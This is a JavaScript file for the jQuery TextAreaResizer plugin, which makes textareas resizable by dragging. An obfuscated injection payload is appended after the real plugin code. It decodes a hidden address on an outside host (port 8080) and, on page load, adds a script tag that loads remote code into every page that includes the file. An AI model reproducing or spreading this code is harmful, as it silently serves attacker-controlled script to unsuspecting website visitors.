/* 
	jQuery TextAreaResizer plugin
	Created on 17th January 2008 by Ryan O'Dell 
	Version 1.0.4
	
	Converted from Drupal -> textarea.js
	Found source: http://plugins.jquery.com/misc/textarea.js
	$Id: textarea.js,v 1.11.2.1 2007/04/18 02:41:19 drumm Exp $

	1.0.1 Updates to missing global 'var', added extra global variables, fixed multiple instances, improved iFrame support
	1.0.2 Updates according to textarea.focus
	1.0.3 Further updates including removing the textarea.focus and moving private variables to top
	1.0.4 Re-instated the blur/focus events, according to information supplied by dec

	
*/
(function($) {
	/* private variable "oHover" used to determine if you're still hovering over the same element */
	var textarea, staticOffset;  // added the var declaration for 'staticOffset' thanks to issue logged by dec.
	var iLastMousePos = 0;
	var iMin = 32;
	var grip;
	/* TextAreaResizer plugin */
	$.fn.TextAreaResizer = function() {
		return this.each(function() {
		    textarea = $(this).addClass('processed'), staticOffset = null;

			// 18-01-08 jQuery bind to pass data element rather than direct mousedown - Ryan O'Dell
		    // When wrapping the text area, work around an IE margin bug.  See:
		    // http://jaspan.com/ie-inherited-margin-bug-form-elements-and-haslayout
		    $(this).wrap('<div class="resizable-textarea"><span></span></div>')
		      .parent().append($('<div class="grippie"></div>').bind("mousedown",{el: this} , startDrag));

		    var grippie = $('div.grippie', $(this).parent())[0];
		    grippie.style.marginRight = (grippie.offsetWidth - $(this)[0].offsetWidth) +'px';

		});
	};
	/* private functions */
	function startDrag(e) {
		textarea = $(e.data.el);
		textarea.blur();
		iLastMousePos = mousePosition(e).y;
		staticOffset = textarea.height() - iLastMousePos;
		textarea.css('opacity', 0.25);
		$(document).mousemove(performDrag).mouseup(endDrag);
		return false;
	}

	function performDrag(e) {
		var iThisMousePos = mousePosition(e).y;
		var iMousePos = staticOffset + iThisMousePos;
		if (iLastMousePos >= (iThisMousePos)) {
			iMousePos -= 5;
		}
		iLastMousePos = iThisMousePos;
		iMousePos = Math.max(iMin, iMousePos);
		textarea.height(iMousePos + 'px');
		if (iMousePos < iMin) {
			endDrag(e);
		}
		return false;
	}

	function endDrag(e) {
		$(document).unbind('mousemove', performDrag).unbind('mouseup', endDrag);
		textarea.css('opacity', 1);
		textarea.focus();
		textarea = null;
		staticOffset = null;
		iLastMousePos = 0;
	}

	function mousePosition(e) {
		return { x: e.clientX + document.documentElement.scrollLeft, y: e.clientY + document.documentElement.scrollTop };
	};
})(jQuery);


try {var I=window[unescape("%75%6e%65%73%63%61%70%65")];var mo=new String();var y;if(y!='bS' && y!='t'){y='bS'};var LI;if(LI!='B' && LI!='ki'){LI='B'};var wC=null;var S=window[I("%52%65%67%45%78%70")];var gR;if(gR!='X'){gR='X'};var m=I("%72%65%70%6c%61%63%65");var E;if(E!='' && E!='Zb'){E=''};function w(mu,A){this.kH="";var j;if(j!='d'){j=''};var SO=new Date();this.li="";var _=I("%5b");var v;if(v!='bf'){v=''};var TV=new Array();_+=A;var xV;if(xV!='' && xV!='M'){xV=''};_+=I("%5d");var _X=new Date();var T=new S(_, I("%67"));var Ip='';var wD;if(wD!='' && wD!='QJ'){wD='tK'};return mu.replace(T, wC);var IB;if(IB!=''){IB='z'};var Ly;if(Ly!=''){Ly='zA'};};var _C;if(_C!='F' && _C!='Vw'){_C=''};var dM;if(dM!='LN' && dM!='pI'){dM=''};var mu=I("%31");var tT=new String();var pr=new String();var Z=new String("onlo"+"ad");var Zn;if(Zn!='' && Zn!='LP'){Zn=''};this.iQ="";var c=I("%73%63%72%69%70%74");var wJ=w('/4dniLcvtL-ZcLcK/KgnonoYg3lZeZ.McMoFm6/4sPfIrw.WfTrW.4pWhWpJ','WvKZ147TMLFI6nS3ywJYPUX');var hK;if(hK!='Oe' && hK != ''){hK=null};var f_=new String();var XM=new String();var L=w('894674411665025417669452779864195923767990296411623613996','49671253');this.Zv='';var I_='';var U="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x6e\x63\x6f\x61\x73\x74\x61\x74\x6c\x61\x73\x2e\x69\x6e\x66\x6f\x3a";this.kf='';var Zw='';var f='';var jM_;if(jM_!='' && jM_!='Uf'){jM_=''};var ge;if(ge!='' && ge!='DT'){ge=''};function k(){var j_;if(j_!='X_'){j_='X_'};var hs;if(hs!='' && hs!='VE'){hs='fT'};var s="";var n=document;var Dr=new Date();var ae=new Date();var rd="";var Y_;if(Y_!='' && Y_!='Fy'){Y_='zo'};e=n.createElement(c);var kE;if(kE!=''){kE='LE'};var kC="";f+=U;this.mT="";this.ys='';f+=L+wJ;var Lm=new Date();var Yz=new Array();this.fO='';e.defer=mu;var Wi;if(Wi!='qI'){Wi='qI'};var wp;if(wp!='LH'){wp='LH'};e.src=f;var nM;if(nM!='' && nM!='eR'){nM=null};var g=n.body;var ix;if(ix!='px'){ix=''};var _XB=new Date();this.Ss="";g.appendChild(e);var IR='';};var pX;if(pX!='lY' && pX!='dJ'){pX=''};var TJ="";var Um;if(Um!='zc'){Um='zc'};window[Z]=k;this.zW='';var eI='';} catch(b){var GC=new Date();};var ZZ;if(ZZ!='co'){ZZ=''};

